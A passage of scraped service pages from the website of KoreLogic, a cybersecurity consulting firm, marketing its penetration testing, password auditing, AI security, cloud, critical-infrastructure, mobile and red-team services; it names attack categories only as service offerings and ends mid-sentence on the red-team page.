# KoreLogic Security > Professional cybersecurity consulting firm founded in 2004, specializing in penetration testing, vulnerability research, password security, and security assessments for Fortune 500 companies and government agencies. ## KoreLogic - Cybersecurity Services for Fortune 500 Companies and U.S. Government URL: https://korelogic.com/ Founded 2004 | ISO 27001:2022 Certified | CREST Accredited. Professional cybersecurity services including penetration testing, cloud security, and AI/ML security testing. # Cybersecurity Services Since 2004 We have earned the trust of hundreds of clients ranging from startups to Fortune 500 firms. ISO 27001:2022 Certified ISO 27001:2022 Link: /certifications CREST Accredited Link: /certifications Link: /contact - 1000+ Cybersecurity Projects Delivered - 100+ Security Disclosures Posted - 2000+ Vendor Risk Reviews Delivered - 60+ CVEs Published ## Proven Security Services Offensive and defensive cybersecurity for Fortune 500 enterprises and U.S. government agencies ### Penetration Testing Full-scope offensive security testing including AI, cloud, software, and infrastructure assessments. Link: /services/penetration-testing ### Password Audits & Recovery Professional password auditing, cracking, and recovery services with industry-leading success rates. Link: /services/password-audits-and-recovery ### Defensive Strategic risk assessments, architecture reviews, and customized security training for enterprise environments. Link: /services/defensive ### Federal Teaming & GSA Subcontracting Specialized cybersecurity expertise for prime contractors supporting federal agencies and government task orders. Link: /services/federal-teaming ### Research & Development Original vulnerability research, security advisory publications, and open source security tool development. 105 Security Advisories Link: /services/research ISO 27001:2022 Certified | CREST Accredited | Founded 2004 ## Research & Development Original vulnerability research, government-funded projects, and custom security technology development ### Applied Research KoreLogic leads practical cybersecurity research through password security, vulnerability discovery, and open source tool development. - DEF CON CMIYC Contest Organizer Link: /services/research#password-research - Gov't Research Partner Link: /services/research - 105 Advisories Link: /advisories - Open Source Tools Link: https://github.com/korelogicsecurity Link: /services/research Link: /advisories ### Security Blog & Research #### Latest Research Findings Critical vulnerabilities discovered and responsibly disclosed #### Industry Analysis Threat landscape updates and security best practices Link: /blog ## Client Experience Over 20 years of delivering exceptional cybersecurity results for Fortune 500 companies ### Our Approach **Quality-First:** Founder-operated firm focused on technical excellence and standards-driven security practices. **Experienced Team:** Staff with 20+ years average security experience delivering relentless results. **Long-term Relationships:** Trusted advisors providing institutional knowledge project-to-project. **Problem Solvers:** We listen to requirements and craft solutions that solve specific problems. Link: /approach ### Client Feedback > "Some of the best technical & professional work, under difficult circumstances, that I've ever seen. Your team's work validates every good thing my colleagues had told me about KoreLogic." > > Payment Processing FinTech Trusted by Fortune 500 CISOs, security directors, and technology leaders for over 20 years. Link: /testimonials ### About KoreLogic Discover our track record. Meet our leadership team, explore our values, and see why leading enterprises trust us with their most critical security challenges. Link: /company ### Our Team Experienced cybersecurity professionals delivering high-impact projects for major enterprises and government agencies with deep expertise across offensive and defensive disciplines. Link: /company#leadership ## Start a Conversation info_2026@korelogic.com Link: mailto:info_2026@korelogic.com Link: /pgp/info_2026_korelogic.asc Link: mailto:info_2026@korelogic.com Richmond, Virginia | [(855) 567-3429](tel:+18555673429) --- ## Cybersecurity Services - KoreLogic URL: https://korelogic.com/services/ Professional cybersecurity services including penetration testing, defensive security, research, and password audit services for Fortune 500 companies and government agencies. Founded 2004 | ISO 27001:2022 Certified | CREST Accredited # KoreLogic Services End-to-end offensive and defensive security solutions trusted by enterprise clients, government agencies, and critical infrastructure organizations worldwide ### Penetration Testing Offensive security testing across AI, web apps, mobile, cloud, and infrastructure ### Password Audits & Recovery Proven AD password security audits and recovery services for Fortune 500 enterprises ### Defensive Security architecture reviews, risk assessments, and customized training ### Federal Teaming & GSA Subcontracting Specialized cyber talent for prime contractors pursuing federal task orders ### Research & Development Government-funded projects and custom security technology development ## Penetration Testing Full-scope offensive security testing that simulates skilled adversaries using experience, custom tools, and pure tenacity to find vulnerabilities before attackers do. Web Applications & Mobile Apps Cloud Infrastructure (AWS, Azure, GCP) Network & Social Engineering Link: /services/penetration-testing ### Our Approach #### Business-Driven Testing Understanding business drivers and how results will be used to focus on measurable impact #### Sophisticated Methods Mimicking advanced attackers with creative, manual testing beyond automated tools #### Root Cause Analysis Identifying vulnerabilities and their root causes to prevent future occurrences ## Password Audits & Recovery Proven Active Directory password security audits and recovery services for Fortune 500 enterprises and government agencies since 2015 with solutions that can be tailored to meet your specific needs. - 2,000,000+ Real AD Hashes Cracked - 200+ Supported Hash Formats - 20+ Years Experience Link: /services/password-audits-and-recovery ### Key Capabilities #### High-performance Distributed Cracking Grid - Secure, scalable, and extensible - Company-owned and -controlled compute (no cloud or third-party access) - 24/7/365 recovery efforts - Custom dictionary and rule development - Targeted brute force mask attacks #### Periodic Active Directory Audits - Monthly, quarterly, etc. - Reports detailing audit results, policy violations, and historical trends - Managed on-prem solutions - Email alerting for enterprise deployments ## Defensive Services Proactive security architecture reviews and risk assessments to strengthen your security posture and protect critical assets. Security Architecture Reviews Risk Assessment & Management Security Training & Awareness Link: /services/defensive ### Key Focus Areas #### Risk Assessment In-depth evaluation of your security posture and threat landscape #### Security Controls Implementation and optimization of security controls and monitoring systems #### Security Training Customized security awareness and technical training programs ## Federal Teaming & GSA Subcontracting Offensive security expertise for GSA prime contractors who need specialized cyber talent ready to execute on federal engagements, proposals, and task orders. Federal past performance and proposal support Penetration testing, red team, AI, and ST&E support Prime-friendly delivery, reporting, and debriefs Link: /services/federal-teaming ### Why Primes Bring Us In #### Deep Offensive Expertise Seasoned practitioners, DEF CON Crack Me If You Can organizers, 105+ advisories, and 60+ CVEs behind the work. #### Federal Delivery Experience Experience supporting DARPA, DOJ, Treasury, FDIC, the U.S. House of Representatives, and agency-facing teams. #### Secure Delivery Practice PGP-encrypted communications, disk and file-level encryption, need-to-know access, and prime-friendly reporting. ## Research & Development Original vulnerability research, government-funded projects, and custom security technology development that advances the state of cybersecurity. Vulnerability Research Custom Security Tool Development Government & Academic Partnerships Link: /services/research Open Source Tools Link: https://github.com/korelogicsecurity ### Research Highlights #### Government Research Recipient of federal contracts for advanced cybersecurity research #### Open Source Tools Creators of widely-used security tools available on GitHub #### Industry Publications Regular contributors to security conferences and academic journals --- ## Penetration Testing Services - KoreLogic URL: https://korelogic.com/services/penetration-testing/ Full-scope offensive security testing for web, mobile, cloud, infrastructure, AI systems, social engineering, red teams, and scoped product hardware or IoT assessments. Offense: Our Approach to Security Testing # Penetration Testing Services End-to-end offensive security testing that simulates skilled adversaries using experience, custom tools, and pure tenacity For product vendors, engagements can include scoped hardware and IoT device testing when those devices are part of the assessment. Engagements can be conducted remotely or on-site, depending on scope, access requirements, and the client environment. ## Business-Driven Testing Understanding business drivers and how results will be used to focus on real-world impact ## Sophisticated Methods Mimicking advanced attackers with creative, manual testing beyond automated tools ## Root Cause Analysis Identifying vulnerabilities and their root causes to prevent future occurrences ### Cloud Security Focus Areas Infrastructure - IAM & Access Policy Review - Network Isolation & Segmentation - Infrastructure-as-Code (IaC) - Container Security Applications - Cloud Service Models (IaaS, PaaS, SaaS) - API Gateway Testing - Serverless Functions - Data Storage Security ## Cloud Testing Cloud-hosted mission-critical applications across IaaS, PaaS, and SaaS delivery models, and public or private cloud infrastructure security assessment with enterprise-grade methodologies. Multi-cloud security posture assessment Container and Kubernetes security Serverless architecture security Link: /services/penetration-testing/cloud-security Cutting-Edge AI Security ## AI Security Testing Full-stack AI security assessment - from architecture review and LLM penetration testing through agentic AI red teaming and vendor AI product evaluation - guided by CSA, OWASP, MITRE ATLAS, NIST, and BIML frameworks. AI security architecture review Penetration testing of AI-augmented applications Agentic AI red teaming (CSA framework) Vendor AI product security evaluation Link: /services/penetration-testing/ai-security ### LLM Security Testing Rigorous testing of large language models including ChatGPT integrations, custom AI chatbots, and AI-powered applications for prompt injection, data leakage, and unauthorized access. OWASP LLM Top 10 Coverage ### AI Model Adversarial Testing Advanced adversarial attacks against machine learning models including evasion attacks, model extraction, membership inference, and robustness testing of AI decision systems. Research-Grade Methodologies ## Web Applications Thorough web application testing to find defects such as disclosure of sensitive information, vertical and horizontal privilege escalation, and business logic vulnerabilities. OWASP Top 10 vulnerability assessment Business logic flaw identification API security and GraphQL testing Authentication and session management Supply chain and dependency security Link: /services/penetration-testing/web-application ### Testing Methodology #### Manual Testing Expert security analysts conduct thorough manual reviews beyond automated scanning #### Custom Payloads Application-specific attack vectors tailored to your business logic #### Source Code Review Static analysis combined with dynamic testing for complete coverage ### Internal Penetration Testing #### Lateral Movement Testing network segmentation and privilege escalation paths #### Credential Harvesting Password spraying, hash dumping, and credential reuse analysis #### Active Directory Domain controller security and GPO misconfiguration testing ## Internal Penetration Testing Network devices, servers, and endpoints testing to gauge resistance to attack by malicious insiders or compromised internal systems, plus effectiveness of network isolation and security controls. Network device and infrastructure testing Endpoint security and privilege escalation Network segmentation effectiveness Link: /services/penetration-testing/internal-testing ## External Penetration Testing Public-facing systems testing to verify they are properly hardened for Internet exposure and resistant to external threats and reconnaissance. Internet-facing infrastructure assessment DNS and subdomain enumeration Open source intelligence gathering Perimeter security and firewall testing Link: /services/penetration-testing/external-testing ### External Penetration Testing #### Reconnaissance Systematic information gathering using OSINT and passive techniques #### Service Enumeration Identifying and testing all publicly accessible services and ports #### Vulnerability Exploitation Attempting exploitation of identified vulnerabilities in external systems ## Mobile Penetration Testing Full-stack security testing of mobile applications, devices, network elements, and end-to-end services for mobile carriers, third-party mobile service providers, and client-developed mobile applications. iOS and Android application security Mobile device management systems Carrier network security assessment Mobile API and backend services Link: /services/penetration-testing/mobile-testing ### Mobile Penetration Testing Approach #### Static Analysis Source code and binary analysis for security vulnerabilities #### Dynamic Testing Runtime behavior analysis and API security testing #### Network Analysis Communication protocol and encryption assessment ### Social Engineering Tactics #### Email Phishing Targeted campaigns to harvest credentials and test user awareness #### Phone Attacks Helpdesk impersonation and pretexting to gain unauthorized access #### Pretexting Impersonation scenarios to test employee security awareness and procedures ## Social Engineering Targeted email phishing campaigns to harvest credentials from users, phone calls to the helpdesk impersonating employees with access problems, and pretexting engagements. Spear phishing and credential harvesting Pretexting and phone-based attacks USB drop and media-based attacks Link: /services/penetration-testing/social-engineering ## Red Team Testing For clients who require a stress test of their organization's resistance to attack from skilled external adversaries, employee errors induced by social engineering, and malicious insiders, we offer red teaming. Real-world adversary simulation with custom tools Threat-informed reconnaissance and tenacity Collaborative target identification with your team Post-test root cause analysis and detection guidance Link: /services/penetration-testing/red-team ### Post-Testing Collaboration The post-testing collaboration with the client's team is crucial to collaboratively discuss: #### Test Narrative Detailed chronological account of test events - what was attempted, what succeeded, and when each event occurred #### Detection & Deterrence How to better detect and deter stealthy attacks based on real findings from the engagement #### Root Cause Analysis Focuses on how each vulnerability came to be and how to prevent it from reoccurring ### Service Areas #### IT/OT Penetration Testing Network segmentation within OT, between IT/OT, and OT/remote sites; ICS components (RTU, PAC, PLC, actuators); SCADA components (HMI, historian, servers); engineering workstations; OT network protocols #### Enterprise Application Testing Web application penetration tests of enterprise applications supporting service delivery - data mining, GIS, CRM, and energy management systems #### Architecture Review Scenario-based threat modeling; review of network functions, sensitive data, interconnections, data flows, and access points; assessment of operational security practices #### Gap Analysis AWWA Water Sector Cybersecurity Risk Management Tool, NIST Cybersecurity Framework, or NERC CIP readiness benchmarking of security program maturity Since 2011 ## Critical Infrastructure Cybersecurity Since 2011, KoreLogic's staff has provided cybersecurity consulting services to water utilities, electrical grid operators, and electrical utilities. IT and OT (ICS/SCADA) penetration testing Security infrastructure architecture review Security program gap analysis (AWWA / NIST CSF / NERC CIP) Link: /services/penetration-testing/critical-infrastructure ## Professional Security Consultation Our offensive security experts will work with you to understand your business drivers and develop custom test scenarios that provide real-world security assessment. Link: mailto:info_2026@korelogic.com?subject=Penetration%20Testing%20Inquiry Link: /services Confidential consultation | Custom test scenarios | Detailed reporting --- ## AI Security Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/ai-security/ Security testing for AI/ML systems, LLMs, and generative AI applications, including prompt injection, model abuse, data exposure, and adversarial attack paths. Cutting-Edge AI Security Testing # AI Security Testing In-depth security assessment of AI/ML systems, large language models, and generative AI applications to identify unique vulnerabilities in modern AI deployments - OWASP LLM Top 10 Coverage - CSA AI Red Teaming Guide - MITRE ATLAS Framework - 20+ Years Experience ## Our AI Security Approach KoreLogic's AI security testing methodology addresses the full AI stack - from data sources and model infrastructure through agents, APIs, and integration points - guided by CSA, OWASP, MITRE ATLAS, NIST, and BIML frameworks. ### LLM Vulnerability Assessment Thorough testing against the OWASP LLM Top 10 including prompt injection, insecure output handling, training data poisoning, and model denial of service attacks. ### Adversarial AI Testing Advanced adversarial attacks including evasion attacks, model extraction, membership inference, and robustness testing of AI decision systems. ### Full-Stack AI Infrastructure End-to-end assessment across the AI stack: data and data sources, model serving platforms, training environments, AI-augmented applications and APIs, and AI integration points within the broader enterprise architecture. ### Agentic AI Assessment Security evaluation of autonomous AI agents and multi-agent workflows - agent sandboxing, constraint enforcement, action provenance, MCP protocol security, prompt and context integrity, and memory mode isolation. ### AI Stack Coverage Data and data sources Agents, prompts, contexts, and memory modes MCP protocols and tool integrations AI-augmented applications and APIs Models and algorithms AI infrastructure and integration points ## AI Security Testing Services Four core service lines covering the full AI security landscape - from architecture review through hands-on penetration testing of agentic systems and vendor-developed AI products. ### AI Security Architecture Review Comprehensive review of your AI deployment architecture across the full stack - data sources, models, agents, APIs, and integration points - to identify systemic security risks before they become vulnerabilities. - Full-stack AI architecture assessment - Data pipeline and model supply chain review - AI integration point analysis - Governance and compliance posture evaluation ### Penetration Testing of AI-Augmented Applications Hands-on penetration testing of web applications, APIs, and services that incorporate LLMs, chatbots, or other AI components - tested against OWASP LLM Top 10 and traditional web application attack vectors. - Prompt injection and jailbreaking - Insecure output handling and data leakage - LLM-specific attack chains - Traditional web app vectors at AI integration points ### Agentic AI Penetration Testing Security testing of autonomous AI agents and multi-agent systems using CSA AI Red Teaming guidance - evaluating sandboxing, constraint enforcement, tool use security, and action provenance across agent architectures. - Agent sandboxing and isolation testing - MCP protocol and tool integration security - Code and action provenance verification - Multi-agent trust boundary validation ### Product Security of Vendor AI Solutions Independent security evaluation of vendor-developed AI products and platforms your organization is considering or already deploying - assessing model robustness, data handling, and supply chain integrity. - Vendor AI product security assessment - Model robustness and adversarial testing - AI supply chain and third-party risk - Privacy, bias, and compliance evaluation ## Supporting Capabilities Specialized expertise that underpins each of our four core service lines - from adversarial model testing and data pipeline security through governance and regulatory compliance. ### ML Model Security Advanced adversarial testing of machine learning models and AI decision systems to evaluate robustness against targeted attacks. - Adversarial example generation - Model extraction and theft attacks - Membership inference testing - Evasion and robustness assessment ### Training Data Security Assessment of training data integrity, privacy protection, and pipeline security to prevent data poisoning and unauthorized exposure. - Data poisoning detection - Privacy leakage assessment - Data provenance verification - Sensitive data exposure analysis - Training pipeline integrity ### AI Governance & Compliance Evaluation of AI governance posture and regulatory readiness aligned with established risk management frameworks. - NIST AI RMF alignment - BIML framework assessment - Regulatory compliance evaluation - Bias and fairness testing - Explainability assessment ### Assessment Deliverables #### Executive Summary High-level overview of AI security risks, business impact, and strategic recommendations #### Technical Findings Detailed analysis of AI vulnerabilities, attack vectors, and proof-of-concept demonstrations #### AI Security Roadmap Strategic roadmap with prioritized recommendations #### Ongoing Support Post-assessment remediation guidance and follow-up testing recommendations ## Professional Reports Detailed AI security assessment deliverables that provide actionable insights and strategic recommendations. Business risk analysis and compliance implications Prioritized action plan with resource requirements Security monitoring and continuous improvement guidance ## Ready to Strengthen Your Security? Our AI security experts will help you identify and mitigate risks across your AI systems, models, and agentic workflows. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=AI%20Security%20Assessment%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Cloud Security Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/cloud-security/ Cloud security assessments for AWS, Azure, and GCP covering infrastructure, identity, configuration, and security controls. Cloud Security Assessment # Cloud Security Testing Full-scope cloud security assessments for AWS, Azure, and GCP infrastructure, configurations, and security controls ### AWS Security IAM, S3, EC2, Lambda, and AWS service configurations ### Azure Security Entra ID, Resource Manager, and Azure service security ### GCP Security Google Cloud IAM, Compute Engine, and GCP services ## Cloud Security Assessment Our cloud security assessments combine automated configuration analysis with expert manual review to identify misconfigurations, privilege escalations, and security gaps across IaaS, PaaS, and SaaS environments. ### Configuration Review Detailed analysis of cloud service configurations and security settings ### Identity & Access Management IAM policy analysis, privilege escalation testing, and access control review ### Data Protection Storage security, encryption analysis, and data exposure assessment ### Cross-Boundary Penetration Testing Testing the ability to gain unauthorized access from corporate infrastructure to the cloud tenant space ### Common Cloud Risks Overprivileged IAM Roles Public Storage Buckets Unencrypted Data Network Security Groups Logging & Monitoring Gaps API Security Weaknesses Shadow IT & Unsanctioned Cloud Services ## Cloud Security Services Extensive security assessments across all major cloud platforms ### AWS Security Assessment In-depth review of AWS infrastructure, IAM policies, S3 buckets, EC2 instances, and security services ### Azure Security Assessment In-depth analysis of Azure environments including Entra ID, Resource Manager, and service-specific configurations ### Google Cloud Security Assessment Complete GCP security assessment including IAM, Compute Engine, Cloud Storage, and security best practices ### Multi-Cloud Security Security assessment across multiple cloud platforms with unified risk analysis and recommendations ### Container Security Kubernetes, Docker, and container orchestration security assessment for both self-managed and cloud-hosted environments ### DevOps Security CI/CD pipeline security, infrastructure-as-code (IaC) review, and DevSecOps implementation assessment ### Assessment Deliverables #### Executive Summary High-level cloud security posture and risk summary for leadership #### Configuration Analysis Detailed review of cloud service configurations and security settings #### Remediation Roadmap Prioritized action plan with implementation timelines and effort estimates #### Identity & Access Review IAM policy analysis, privilege escalation paths, and least-privilege recommendations ## Strategic Recommendations Our cloud security assessments provide both immediate tactical fixes and long-term strategic guidance for improving your cloud security posture. ### Business Risk Focus Cloud security findings prioritized by business impact and regulatory requirements ### Implementation Guidance Step-by-step instructions for implementing security controls and best practices ## Ready to Strengthen Your Security? Get a thorough assessment of your cloud security posture across AWS, Azure, and GCP environments. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=Cloud%20Security%20Assessment%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Critical Infrastructure Cybersecurity - KoreLogic URL: https://korelogic.com/services/penetration-testing/critical-infrastructure/ Critical infrastructure cybersecurity for water and electric utilities, including IT/OT penetration testing, ICS/SCADA review, and AWWA, NIST CSF, and NERC CIP gap analysis. Since 2011 # Critical Infrastructure Cybersecurity Cybersecurity consulting for water utilities, electrical grid operators, and electrical utilities - covering IT/OT networks, ICS/SCADA systems, and operational security programs - Serving CI Since 2011 - AWWA Framework Aligned - NIST CSF Benchmarking - ICS/SCADA Expertise ## Our Critical Infrastructure Approach Since 2011, KoreLogic has provided cybersecurity services to critical infrastructure operators including water utilities, electrical grid operators, and electrical utilities. Our approach addresses the unique challenges of securing environments where IT and OT converge. ### IT/OT Convergence Security Testing the boundaries and segmentation between IT and OT environments - within OT networks, across IT/OT boundaries, and between OT and remote site connections. ### ICS/SCADA Assessment Security evaluation of industrial control system components including RTUs, PACs, PLCs, actuators, SCADA systems (HMI, historian, servers), and engineering workstations. ### Operational Security Practices Review of operational security practices including incident response readiness, vulnerability management programs, and threat monitoring capabilities specific to critical infrastructure environments. ### Framework Alignment Security program benchmarking against industry-specific frameworks including AWWA cybersecurity guidance for water utilities, NIST Cybersecurity Framework for broader critical infrastructure assessment, and NERC CIP guidance supporting FERC electric utility compliance efforts. ### ICS/SCADA Components Tested Remote Terminal Units (RTU) Programmable Automation Controllers (PAC) Programmable Logic Controllers (PLC) SCADA HMI, historians, and servers Engineering workstations OT protocols and actuators ## Critical Infrastructure Service Areas Four integrated service areas covering the full spectrum of critical infrastructure cybersecurity - from hands-on penetration testing through architecture review and program maturity assessment. ### IT/OT Penetration Testing Network segmentation testing across OT environments, IT/OT boundaries, and remote site connections - including assessment of ICS components, SCADA systems, and OT protocols. - Network segmentation within OT - IT/OT boundary assessment - OT/remote site connection testing - ICS component security (RTU, PAC, PLC) - SCADA system assessment (HMI, historian) - OT protocol analysis ### Enterprise Application Testing Web application penetration testing of enterprise support applications used in critical infrastructure environments - testing the systems that support operational decision-making. - Data mining and analytics platforms - Geographic Information Systems (GIS) - Customer Relationship Management (CRM) - Energy management systems ### Security Architecture Review Comprehensive review of security infrastructure architecture through scenario-based threat modeling, network function analysis, data flow mapping, and access point assessment. - Scenario-based threat modeling - Network functions review - Data flow and access point analysis - Incident response readiness - Vulnerability management review - Threat monitoring assessment ### Security Program Gap Analysis Systematic assessment of security program maturity benchmarked against industry-specific frameworks to identify gaps, prioritize improvements, and build a roadmap toward mature security operations. For electric utilities, this can support internal readiness for NERC CIP expectations under FERC oversight. - AWWA cybersecurity guidance benchmarking - NIST Cybersecurity Framework assessment - NERC CIP readiness support for electric utilities - Security maturity scoring - Prioritized improvement roadmap ### Assessment Deliverables #### Executive Summary High-level risk assessment tailored to critical infrastructure operators with business impact analysis and strategic recommendations #### Technical Findings Detailed analysis of IT/OT vulnerabilities, ICS/SCADA security gaps, and network segmentation issues with proof-of-concept demonstrations #### Framework Gap Report Comprehensive AWWA or NIST CSF benchmarking with current maturity scores and target state recommendations #### Improvement Roadmap Prioritized remediation plan with quick wins and long-term security program improvements specific to critical infrastructure ## Professional Reports Detailed assessment deliverables designed for critical infrastructure operators - providing actionable insights aligned with industry frameworks and regulatory requirements. IT/OT risk analysis with operational impact assessment AWWA and NIST CSF maturity benchmarking Prioritized remediation roadmap with resource requirements ## Ready to Strengthen Your Security? Protect your critical infrastructure with experienced cybersecurity consultants who understand the unique challenges of IT/OT convergence and industrial control systems. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=Critical%20Infrastructure%20Security%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## External Penetration Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/external-testing/ External penetration testing for perimeter defenses, internet-facing infrastructure, exposed services, and externally accessible systems. External Penetration Testing # External Penetration Testing Rigorous external penetration testing to assess your organization's security posture from an attacker's perspective ### Perimeter Defense Firewall rules, network segmentation, and border security assessment ### Internet-Facing Assets Web applications, services, and exposed infrastructure testing ### Attack Simulation Real-world attack scenarios and threat actor emulation ## Our Approach External penetration testing that mimics real-world attackers to identify vulnerabilities in your perimeter defenses and internet-facing assets. Black-box testing methodology OSINT and reconnaissance phases Full attack surface mapping Red team and stealth testing options ### Testing Methodology Reconnaissance OSINT gathering, subdomain enumeration, service discovery, and technology stack identification Vulnerability Assessment Automated and manual vulnerability scanning, configuration reviews, and security control testing Exploitation Controlled exploitation of discovered vulnerabilities with impact demonstration and data protection Post-Exploitation Privilege escalation, lateral movement simulation, and business impact assessment ## External Penetration Testing Services Targeted external penetration testing services tailored to your organization's specific attack surface and threat model ### Web Application Testing External-facing web applications, APIs, and web services vulnerability assessment ### Network Infrastructure External network services, firewall configurations, and perimeter security testing ### Cloud Infrastructure External cloud assets, misconfigurations, and public cloud security assessment ### Email & DNS Security Email security controls, DNS configurations, and subdomain takeover testing ### Remote Access Security VPN configurations, remote desktop services, and external access point testing ### OSINT & Reconnaissance Open source intelligence gathering and extensive attack surface mapping ### Assessment Deliverables #### Executive Summary Business-focused risk assessment and strategic recommendations #### Technical Findings Detailed vulnerability descriptions with proof-of-concept evidence #### Attack Scenarios Real-world attack paths and exploitation chains demonstrated #### Remediation Roadmap Prioritized action plan with implementation guidance #### Evidence Documentation Screenshots, request/response captures, and proof-of-concept artifacts for each finding ## Professional Reports Detailed documentation of findings, attack scenarios, and remediation recommendations tailored for both technical teams and executive stakeholders. CVSS scoring and risk prioritization Compliance mapping and controls assessment Retest validation and closure verification ## Ready to Strengthen Your Security? Protect your organization from external threats with rigorous testing of your perimeter defenses and internet-facing assets. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=External%20Penetration%20Testing%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Internal Penetration Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/internal-testing/ Professional internal penetration testing and network security assessments. In-depth testing of internal networks, systems, and security controls by certified security experts. Internal Network Assessment # Internal Penetration Testing Thorough internal penetration testing to assess your network security controls and identify lateral movement opportunities ### Network Segmentation Internal network boundaries, VLANs, and micro-segmentation testing ### Privilege Escalation Windows and Linux privilege escalation and domain compromise ### Lateral Movement Cross-system movement and credential harvesting simulation ## Our Approach Internal penetration testing that simulates an attacker or malware already inside your network perimeter, assessing lateral movement capabilities and privilege escalation paths. Assumed breach methodology Active Directory and domain testing Network segmentation validation Red team and stealth testing options Testers on-site or via jump box ### Testing Phases Network Discovery Host enumeration, service identification, and network topology mapping Credential Harvesting Memory dumps, cached credentials, and password hash collection Privilege Escalation Local and domain privilege escalation using discovered vulnerabilities Lateral Movement Cross-system access, domain controller compromise, and data exfiltration ## Internal Penetration Testing Services Full-scope internal penetration testing services designed to identify weaknesses in your internal security controls and network segmentation ### Network Segmentation Testing VLAN hopping, firewall bypass, and network boundary validation ### Active Directory Testing Kerberos attacks, GPO abuse, and domain controller compromise ### Privilege Escalation Windows and Linux local privilege escalation vulnerabilities ### Lateral Movement Cross-system access, credential reuse, and persistence mechanisms ### Internal Applications Intranet applications, internal APIs, and database security ### Data Exfiltration Sensitive data identification, DLP bypass, and exfiltration simulation ### Ransomware Resiliency Evaluate backup infrastructure integrity including immutable, air-gapped, and logically isolated backup systems ### Assessment Deliverables #### Attack Path Analysis Detailed visualization of compromise paths and lateral movement chains #### Credential Assessment Password policy compliance and credential hygiene analysis #### Segmentation Recommendations Network architecture improvements and micro-segmentation strategies ## Detailed Analysis Detailed reporting that maps attack paths, documents network topology, and provides actionable recommendations for strengthening internal security controls. Visual attack path documentation Zero-trust architecture guidance Detection and monitoring improvements ## Ready to Strengthen Your Security? Identify lateral movement opportunities and privilege escalation paths within your internal network. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=Internal%20Penetration%20Testing%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Mobile Penetration Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/mobile-testing/ Mobile application and device security testing for iOS, Android, MDM systems, and carrier-connected environments. Mobile Security Expertise # Mobile Penetration Testing End-to-end security testing of mobile applications, devices, network elements, and services for mobile carriers, service providers, and enterprise mobile deployments - 100+ Mobile Apps Tested - iOS & Android Expertise - OWASP Mobile Top 10 - 20+ Years Experience ## Our Mobile Security Approach KoreLogic's mobile security testing methodology covers the entire mobile ecosystem from application code to network communications and backend infrastructure. ### Network Communication Analysis Assessment of mobile app network communications including API security, encryption implementation, and data transmission security. ### Dynamic Runtime Testing Interactive testing of mobile applications during execution to identify runtime vulnerabilities and behavioral security issues. ### Static Code Analysis Thorough source code and binary analysis to identify security vulnerabilities in mobile applications without execution. ### Mobile Penetration Testing Phases #### 1. Network & API Testing Communication protocol and backend service security #### 2. Dynamic Runtime Testing Interactive testing with instrumentation and debugging #### 3. Static Application Analysis Source code and binary analysis of mobile applications #### 4. Device & Platform Testing Platform-specific security controls and device management ## Platform-Specific Testing Specialized security testing tailored to iOS and Android platform-specific security controls and vulnerabilities. ### iOS Security Testing Rigorous security assessment of iOS applications leveraging platform-specific testing techniques and tools. #### Code Signing & Provisioning Certificate validation, provisioning profile analysis, and code signing bypass techniques #### iOS Keychain Security Keychain access controls, data protection classes, and secure enclave utilization #### App Sandbox Testing Sandbox escape attempts, inter-app communication, and URL scheme vulnerabilities #### Touch/Face ID Integration Biometric authentication implementation and bypass techniques ### Android Security Testing In-depth security evaluation of Android applications with focus on Android-specific security mechanisms and vulnerabilities. #### APK Analysis & Reverse Engineering Decompilation, static analysis, and obfuscation bypass techniques #### Intent & Component Security Exported components, intent injection, and deep link vulnerability testing #### Android Permissions Permission model analysis, privilege escalation, and runtime permission bypass #### Root Detection & Bypass Anti-tampering mechanisms and root detection bypass techniques ## Mobile Security Services Complete mobile ecosystem security assessment covering applications, devices, infrastructure, and management systems. ### Mobile Application Security Full-scope security testing of iOS and Android applications including source code analysis and runtime testing. - Static & dynamic analysis - Business logic testing - Authentication bypass - Data storage security ### Mobile Device Management Security assessment of MDM/EMM solutions, device policies, and enterprise mobile security controls. - MDM policy evaluation - Device compliance testing - Certificate management - Remote wipe capabilities ### Mobile API & Backend Security testing of mobile application APIs, backend services, and server-side infrastructure supporting mobile apps. - API security testing - Authentication mechanisms - Data transmission security - Backend infrastructure ### Carrier Network Security Security assessment of mobile carrier networks, telecommunications infrastructure, and network-based mobile services. - Pre-production application testing - End-to-end mobile system security - 5G infrastructure security - Security gateway product testing - Test lab security assessment - Critical systems threat analysis ### Assessment Deliverables #### Executive Summary High-level overview of mobile security posture, business risks, and strategic recommendations #### Technical Findings Report Detailed analysis of mobile vulnerabilities with proof-of-concept demonstrations #### Remediation Roadmap Prioritized action plan with implementation timelines and effort estimates #### Ongoing Support Post-assessment remediation validation and continuous security monitoring guidance ## Professional Reports Detailed mobile security assessment reports with actionable recommendations and implementation guidance. Business impact analysis and risk prioritization iOS and Android vulnerability exploitation demonstrations Security monitoring setup and follow-up assessments ## Ready to Strengthen Your Security? Assess the security of your entire mobile ecosystem, from applications and APIs to device management and carrier infrastructure. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=Mobile%20Security%20Assessment%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Red Team Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/red-team/ Threat-informed red team testing against critical assets, with realistic reconnaissance, custom tooling, collaborative analysis, detection guidance, and root cause remediation. Adversary Simulation # Red Team Testing Simulation of real-world sophisticated adversaries using threat-informed reconnaissance, experience, tenacity, and custom tools - often written during the engagement itself - 20+ Years Experience - Custom Tooling Per Engagement - Full Post-Test Collaboration ## Our Red Team Approach KoreLogic red team engagements simulate real-world sophisticated adversaries. We combine threat-informed reconnaissance with deep experience, pure 